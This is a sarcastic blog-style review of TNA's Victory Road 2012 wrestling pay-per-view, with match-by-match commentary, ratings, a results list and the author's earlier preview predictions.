Welcome to the latest TNA filler PPV, Victory Road. That’s what’s plagued this show’s build: nothing on it is going to mean anything after tonight. It’s just a stop on the way to Lockdown, which has a few benefits actually. First of all, there aren’t any expectations for this show because none of it really matters. Second, sometimes it’s ok to not have a major main event every time as it makes the bigger main events seem more important. This has some potential to be good so let’s get to it.

We open with clips from last week’s Impact of Roode telling Sting that the business has passed him by and then Sting snapping.

Tenay and Taz talk about the show a bit and tell everyone to talk to them on Twitter. How about they just call the show instead?

Here’s Ray to open the show. He had said online that he was going to hold the show hostage. The idiot fans start a We Want D-Von chant. Ray says he’s trending worldwide because he’s taking this show over. The show isn’t continuing unless his match with Storm is a #1 contender match. Send referees, send security, send the police, he doesn’t care. Instead here’s Storm to say Ray has chicken legs. Storm says the #1 contendership is up for grabs RIGHT NOW.

James Storm vs. Bully Ray

So what was the point in having Ray come out there and talk for five minutes? The fans chant chicken legs and Ray beats Storm down into the corner. He goes for the beer, has a drink and walks into the Last Call for the pin at 1:08. Storm had legit ankle surgery this week which I’d bet is why the match wasn’t even a match. Storm only hit one move the entire time.

Aries answers Twitter questions. A fan wants to know when he’ll get to main event a show. Eric Bischoff comes in and tells JB to leave. JB: “Do you have any authority around here anymore?” Eric: “I can take you out so get out of here.” Is this tied into those comments Bischoff made on Twitter this week? Nothing of note is said here other than Aries is the main event no matter when he’s on the show.

Austin Aries vs. Zema Ion

Aries is the longest reigning champion in history and Ion won a match by DQ on Impact recently. James Storm is trending worldwide on Twitter. Geez you can’t escape it in any wrestling company anymore. The fans seem split so they start with a gymnastics routine resulting in Aries stealing the hairspray and laying on the top rope ala Shawn. Brainbuster is escaped and Ion is knocked to the floor off the top.

The suicide dive takes Ion down so Aries grabs a phone and tweets. Oh give me a break. Dropkick to the back gets two for the champ. Ion gets knocked to the apron and manages to guillotine Aries and take over. Tazz reads the tweet from Aries because that’s what you watch wrestling for: Twitter updates. Ion hits a corkscrew crossbody off the middle rope for two.

Zema pounds on him for awhile and tries Aries’ pendulum elbow with no success. Aries comes back with an atomic drop and pounds him into the corner. Ion loads the hairspray into his tights but is knocked down by a spinning forearm smash. Aries hits a knee crusher into a belly to belly followed by the pendulum elbow for two.

Ion gets knocked into the corner and does the old switch move of grabbing the title but as the referee takes it out, he pulls out the hairspray which goes into Aries’ eyes for two. Ion tries a superplex but Aries counters into a sunset bomb to put both guys down. Aries is still mostly blind. Not that it matters as he hits the brainbuster and rolls into the Last Chancery for the tap out at 11:04.

Rating: B-. Aries is a de facto face now due to pure crowd support but it’s going to be interesting to see what they do with him. He’s outgrown the X Division which is why the weight limit addition has been a bad thing for it. He’s going to have to move up soon though because there’s no point to him fighting these low level X guys anymore.

Tazz reads another tweet.

The Motorcity Machineguns are coming back soon.

We recap the tag title feud. The idea here is that Morgan and Crimson are champions but they started arguing over who should get the win and it resulted in them losing the titles. They won the right to a rematch here tonight and they’ve promised to put their differences aside.

Tag Titles: Samoa Joe/Magnus vs. Crimson/Matt Morgan

After TNA’s Powerpoint about the match we’re ready to go. Joe’s has a mowhawk now. Morgan and Crimson almost get into a fight over who should start. TWITTER UPDATE: Austin Aries is trending. Crimson and Magnus start and Magnus takes him down with a clothesline. Off to Joe to a big pop and he pounds Crimson down before quickly tagging Magnus back in.

Crimson goes to the corner but won’t tag. Instead he goes to the floor to get a breath and comes back in with a snapmare and clothesline. Off to a chinlock with Magnus in trouble. The idea here is that Crimson wants to do everything himself because he doesn’t need Morgan’s help. The fans chant that they want Morgan. Keep in mind that they wanted D-Von earlier so how much can they be trusted?

Spinebuster plants Magnus for two. Crimson hooks his cravate but Magnus fights out of it. He beats Crimson down well enough to make the tag but Crimson still won’t tag out. Joe snaps off punches so Crimson goes up and dives at Joe, who does the always cool step aside. Joe sends him to the corner and Morgan shoves Crimson out of the way and tags himself in. Morgan cleans house but Crimson tags himself back in after about thirty seconds.

Morgan tags himself back in and Crimson walks out. The champs destroy Morgan with double team combos (including a big boot that missed by about 9 inches to the left). Crimson says he’s the winner of this team so Morgan tries to fight alone. He manages to take the champs down but Crimson spears Morgan, allowing the champions to hit their finisher, resulting in the pin by Magnus at 10:12.

Rating: C. The match was a backdrop for an angle more than anything else which is ok. Crimson turning heel was something they almost had to do because his run could only go so long without focusing more on the winning streak. There isn’t much to say about the match but it wasn’t bad or anything.

During the replays we hear more Tweets.

JB apologizes for the Bischoff incident from earlier and asks Roode a question from Twitter about his main events at tonight’s show and then Lockdown. Sting’s career ends tonight and then at Lockdown….we’re not sure what’s going to happen because Storm pops up. He doesn’t want a match. He wants a fight and he wants it right now.

Taz and Tenay debate hashtags. Seriously, that’s what we’ve gotten to tonight.

TV Title: Robbie E vs. ???

This is another open challenge because we don’t have time to get the TV Title on TV since Garrett Bischoff needs to get his five minutes every week. Robbie says that there’s no open challenge tonight because everyone is afraid of him. The fans want RVD. Oh apparently the invitational is going to happen tonight but now fans can take him up on it. They go around the ring and Robbie makes fun of fans, including three overweight women. He asks Val, but says they’ll be “wrestling” later. Big Rob says she’s not on the list. This goes on forever. The open challenge is officially canceled so they’re going to pose instead. We have a challenger.

TV Title: Robbie E vs. D-Von

Yes, this is what’s on PPV. He comes through the crowd for some reason. Robbie backs off so Brian Hebner says we’re doing this. D-Von is in street clothes. There’s another Tweet. One man flapjack puts Robbie down and a clothesline puts him on the floor. Matt Morgan is trending. Robbie tries to get a chair but BROOKE HOGAN stops him. I kid you not, she’s in the front row and grabbed the chair from him. Back in and D-Von runs him over with clotheslines and shoulder blocks. A splash in the corner sets up a clothesline for two. A spinebuster gives D-Von the title at 3:02. Just retire the title. Now.

Rating: F. D-Von Dudley is a singles champion. Never mind that it’s 2012. D-Von freaking Dudley is a singles champion. That doesn’t need any more explanation. Oh and Brooke Hogan was involved in this. They did fire Russo didn’t they? I mean….D-VON JUST WON A TITLE. With the roster they have, they pick him? Who thinks that’s a good idea?

Dixie says Slammiversary is going to be in Dallas/Fort Worth. She’ll be ringside for the main event tonight.

We recap Gail vs. Madison. They were friends, then they started fighting, then Madison snuck into a battle royal to become #1 contender, then they lost the tag titles and here’s the match.

Knockouts Title: Madison Rayne vs. Gail Kim

Madison’s looking good as always. D-Von is the #1 trend worldwide. It’s true: 2012 is the apocalypse. Very slow match to start with Madison in control. She chokes in the corner as Taz reads tweets. Gail takes the knee out but Madison pops up so they can slug it out. Gail hits a middle rope cross body and a missile dropkick for two each. This is going nowhere. Gail tries to use the tights but gets two. Taz misreads a Twitter handle and Tenay cracks up. It wasn’t funny but then again Twitter handles shouldn’t be read here. Eat Defeat is avoided but the second attempt works at 7:07. I can’t believe I had that little to say in seven minutes.

Rating: D. This was nothing. Madison looked good but that’s about it. This show has been pretty awful so far as the constant Twitter references are really taking me out of the show. This is worse than even WWE with that stuff. The match had no heat at all, probably because everyone was in shock at the previous match.

It’s 9:22 and we have three matches left.

JB is with Daniels and Kaz and asks something he heard about on Twitter recently: why has his attitude changed? Before he can answer, Daniels says he runs the show here. In a nice bit of continuity, Daniels has tape under his eye from the cut Anderson gave him “last week”.

We recap AJ/Anderson vs. Daniels/Kaz. In chapter 19874 of Daniels vs. AJ, Kaz has apparently been coerced or brainwashed into going against AJ. Daniels thinks maybe the problem is with AJ instead of everyone else. Styles says he’s not going to associate with friends anymore, so he brought in Anderson to help him.

Christopher Daniels/Kazarian vs. Mr. Anderson/AJ Styles

As is the custom, we update Twitter before we get the match going. Anderson and Kaz start Anderson throws him around the ring and it’s off to AJ quickly. Daniels comes in to meet him and they fight over a headlock. They run each other over and AJ hooks an armdrag to grab an armbar. Dixie Carter is in the front row with the host of some Spike show called Repo Games. He’ll be at Impact also. Ten points if they bring in Barry Darsow for a showdown.

Anderson and AJ pinball Daniels back and forth with right hands. Everything breaks down and Kaz and Daniels are thrown into each other. Anderson drops elbows on Daniels and it’s AJ vs. Daniels once things calm down. AJ hits a spinning delayed vertical suplex for two. Back to Anderson but Daniels gets in a knee so he can tag. Kaz gets thrown down quickly and Styles comes back in. The tags are very fast.

An elbow puts AJ onto the floor and Daniels takes over. Daniels hooks an abdominal stretch and AJ is in trouble. A boot to the face keeps him down, so LET’S READ TWEETS! This is ridiculous. The show is already bad but this is making it unbearable. Daniels stays on the ribs but when he and Kaz try to double team, AJ manages to clothesline Daniels and Pele Kaz to put them both down. Hot tag to Anderson who cleans house. Mic Check to Kaz is broken up and Daniels hits an STO to take him down. Springboard clothesline takes Kaz down and everything breaks down.

In a SWEET counter, AJ tries the moonsault into the DDT but Daniels drops to his back and puts his feet in the air so that AJ slams his face into them. Daniels and Anderson go to the floor after AJ makes a blind tag. AJ tries a springboard sunset flip but Kaz counters into the Fade to Black, but AJ rolls through into the Styles Clash for the pin at 13:58.

Rating: C+. The decent match made the show better, but this show has really taken its toll on me. AJ vs. Daniels is a feud that I’m tired of. They’ve feuded literally for years on and off and AJ always comes out on top, which makes things pretty boring at the end of the day. Pretty good match though.

Angle is in the back and says hi to his son. Usually he doesn’t let him watch violence, but Angle wants his son Cody to see his son hero get destroyed. He talks about the things he’s going to do to Jeff with a sick happiness in his voice. Tonight, Jeff gets an Extreme Makeover. See, this was what you call a promo. No Twitter questions were needed, and it actually got me thinking about the match. Why is that the first one of these tonight?

We recap Angle vs. Hardy. Angle cost him the world title because his son likes Jeff Hardy too much so he’s going to beat Hardy up for it.

Jeff Hardy vs. Kurt Angle

Hardy goes around the ring to shake hands and hug fans, including hugging Brooke. The fans are somewhat split but Hardy is getting louder chants. Their match a year and a half ago at No Surrender was awesome so maybe this can be good too. Feeling out process to start and Kurt bails to the floor. With that, this is officially longer than Jeff’s Victory Road match last year. Back inside and Jeff runs him out again. They have a lot of time left in the show so they’re probably stalling a bit.

Back in and Kurt takes it to the mat with a chinlock. Jeff counters so Kurt elbows him in the face. Kurt takes a knee to the gut and seemed to land awkwardly. He seems ok though. Hardy comes out of the corner with a headscissors to send Kurt to the outside. Hardy controls out there but back inside Kurt pounds him down in the corner. Twitter stuff. Hardy comes back with the legdrop between the legs and a dropkick for two.

Out to the floor again and Hardy rams Kurt’s head into a chair. Kurt tries to ram him into the steps but Hardy reverses and it’s Kurt that crashes. Jeff sets up the steps for Poetry in Motion but crashes into the barricade. And they wonder why he’s addicted to painkillers. Jeff’s tailbone hit the barricade and Kurt goes after him. He gets two inside and hits a suplex for two. Off to a rear chinlock.

Jeff fights up but walks into a belly to belly to put him right back down. Hardy gets his feet up in the corner and a clothesline to put Kurt down. They get back up and Jeff throws punches to set up the Whisper in the Wind for two. Twist of Fate is countered into Rolling Germans, four in this case. Angle Slam is countered into the Twisting Stunner but Angle runs the corner to counter the Swanton with the belly to belly.

Kurt hooks the ankle lock but Jeff kicks off after a few seconds. Angle misses a charge and hits the post and a Twist of Fate gets two. Angle rolls to the outside and Hardy rams his head into the steps a few times. There goes the shirt and he loads up the Swanton but Kurt gets the knees up. Angle Slam gets two. Kurt has a cut over his left eye. He chokes Jeff with one of the sleeves that Hardy wears but another Slam is countered into Twist #3. Both guys are down. Back up and the mule kick puts Kurt down. Swanton hits but Jeff covers sloppily, allowing Kurt to roll him up and grab the rope for the pin (Jeff’s shoulder was up) at 19:45.

Rating: B. I’ve said this a lot of times but it’s still true: a lot of the time, the solution to your problems is to have a good wrestling match. This started slow but they got into Kurt’s formula which is guaranteed to be at least good. The ending sets up a rematch, likely as captains of the Lethal Lockdown teams next month. Match of the night by far.

We recap the show to fill in more time.

Roode vs. Sting is now falls count anywhere, no DQ.

Jeremy gives us a long Twitter update and asks Sting a question. He says he’s tired of Facebooking and Tweeting so it’s time to wrestle.

We recap the main event, which is Sting tormenting Roode, which Roode says is because Sting is jealous of Roode.

Sting vs. Bobby Roode

Non-title and no holds barred. After some big match intros we’re ready to go. This is just no holds barred, despite them saying falls count anywhere earlier. Do those go together now? Sting starts off fast and beats the champion down pretty easily. He hits a lot of clotheslines and knocks Roode to the floor. They fight up the ramp (which means Sting beats the tar out of him) and then back to ringside to send Roode into the steps.

The fans chant “over here” so Sting beats him up wherever chants the loudest. Roode manages to send him into the post but Sting counters a chair shot. Roode goes into the barricade and Sting knocks him into the crowd. Back to ringside and Sting takes a thumb to the eye. The champ rams Sting’s leg into the post and Sting is in trouble. Roode stays on the knee for a few minutes while Taz reads a Tweet from an 85 year old grandmother.

It’s figure four time but Sting rolls over after about a minute. Roode continues to channel his inner Flair and chops at Sting, which just like Flair’s, don’t work at all on him. Now Sting goes after the knees and after a superplex, it’s Scorpion time. Roode makes the rope and comes back with a spear for two. The champ brings in a chair and sets for either a powerbomb or piledriver but Sting backdrops him to the apron. Sting tries a Death Drop onto the chair but he rams his own head into the chair. Roode wakes up and covers for the pin at 16:50.

Rating: C+. The ending brought this down a bit. Sting matches have a really bad habit of ending out of nowhere. This also really doesn’t help Roode because Roode lucks out again. Roode needed to go over strong here but instead he looks like he got lucky to win the match over a part time wrestler. That’s not good, again. Has he won a major match on his own merits since he’s been champion? Sting is great in this role as part time wrestler and as a special attraction as he can still do well enough out there.

Post match it’s time for the big evil angle. Roode gets the chair and yells at Dixie, then pulls her over the railing and into the ring. Sting makes the save but once he turns to check on Dixie, Roode hits him with the chair. Roode gets some duck tape and ties Sting to the bottom ropes. He goes to hit Sting with the chair but Dixie is untying him. Roode gets in her face and yells at her, rubbing her face for some reason. He yells at her…and that’s it. He doesn’t hit her, he doesn’t shove her, nothing. This would have been more effective, except NO ONE CARES ABOUT DIXIE CARTER!

Overall Rating: D+. The last 50 minutes of the show brought it up A LOT, but earlier on the show was absolutely dreadful. The in ring work earlier was ok to bad, but the point of this show was the Twitter. They went WAY too far with that nonsense where even the wrestlers weren’t answering the questions. It got stupid and was really taking away from the show, which was just ok anyway. On top of that, we had Storm cut short (not their fault) and D-Von winning a title. I still can’t get over that. Anyway, bad show but the last part helped it. They’re probably lucky that non many people were watching tonight though.

Results
James Storm b. Bully Ray – Last Call
Austin Aries b. Zema Ion – Last Chancery
Samoa Joe/Magnus b. Matt Morgan/Crimson – Middle Rope Elbow To Morgan
D-Von b. Robbie E – Spinebuster
AJ Styles/Mr. Anderson b. Christopher Daniels/Kazarian – Styles Clash to Kazarian
Kurt Angle b. Jeff Hardy – Pin while holding the rope
Robert Roode b. Sting – Pin after Sting hit his head on a chair




D-Von won the TV Title

It’s official: the apocalypse is upon us.




Victory Road 2012 Preview

I’m fairly optimistic about this show.The good thing about this show is that it has no pressure on it because it’s just a stop on the way to Lockdown.  On the other hand, the bad thing about this show is that nothing on it really matters because it’s just a stop on the road to Lockdown.  What that means is that it has the potential to be something fun in the moment but that it’s probably not going to mean anything past tomorrow night.  That’s probably a good thing though, given that they’ll start the build to Lockdown soon after this.

 

Roode should and probably will beat Sting.  Roode has been feuding with Sting since winning the title and they need to put this behind them.  A decisive victory over Sting with a clean (as clean as you can get in a no holds barred match that is) pin would do a lot for Roode and would make him look like a bigger deal than he is right now.  Should be fun.

 

Storm over Ray, duh.  This doesn’t need much of an explanation.

 

Tag champs to retain as the Morgan vs. Crimson feud goes to Lockdown, hopefully with a turn in there somewhere.

 

Aries to retain, just due to me not wanting Ion on my TV screen anymore than he has to be.

 

Hardy over Angle but this is going to Lethal Lockdown.

 

Uh….Gail and AJ/Anderson win via coin flip.

 

The TV Title…..nobody cares.

 

Thoughts/predictions?